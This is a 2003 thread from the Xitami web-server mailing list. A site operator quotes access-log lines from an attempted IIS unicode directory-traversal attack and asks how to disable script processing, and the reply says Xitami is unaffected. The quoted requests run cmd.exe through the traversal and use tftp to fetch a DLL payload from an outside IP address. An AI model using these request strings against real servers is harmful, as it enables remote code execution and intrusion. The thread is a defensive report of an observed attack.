[Xitami] Security Issue - Disabling Script Processing

[TW]

I am way sure, that this is the wrong list. You most probably sent us a 
log-file excerpt created by IIS. What you see is a typical IIS exploit, 
based on the fact that IIS interprets unicode wrong.

This is a Xitami list. Xitami is not affected by it and returns four-o-four.

Tony

At 10:40 14.01.2003 -0700, you wrote:
>Hi,
>
>Please forgive me if I have not sent this correctly to the group.
>
>Can somebody help me with this.
>
>Periodically, I see in the access logs and error logs, an attempt from a
>hacker to run certain types of scripts in a cmd window such as the
>following:
>
>"GET
>/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20G
>ET%20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
>"GET
>/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20G
>ET%20cool.dll%20d:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
>"GET
>/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20G
>ET%20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
>"GET /scripts/..%%35%63../httpodbc.dll HTTP/1.0" 200 -1 "" ""
>"GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 -1 "" ""
>"GET
>/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20GET
>%20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
>"GET
>/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20GET
>%20cool.dll%20d:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
>"GET
>/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20GET
>%20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
>
>Notice that the hacker successfully used tftp to send some info back to
>himself.  My router logs confirmed that this occurred.  I have since
>eliminated all access rights to tftp.  Not even the admin has rights
>anymore.  Since this is on a Win2k system, you just can't delete or rename
>certain system executables such as cmd.exe or tftp.exe.  Windows just
>restores it automatically.
>
>The question is: Since I run a simple HTML only site and don't need CGI
>processing, what can I do to eliminate all script processing of this nature.
>
>PS - The rest of you probably encounter some of these same security issues.
>You should check.
>
>Best Regards,
>Rob Allen
>President, Blue Marble Meds LLC.  Offering 30-75% off Prescription Meds
>See us at http://www.BlueMarbleMeds.com
>
>
>
>--
>Xitami Users Mailing List -- For Xitami support
>To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami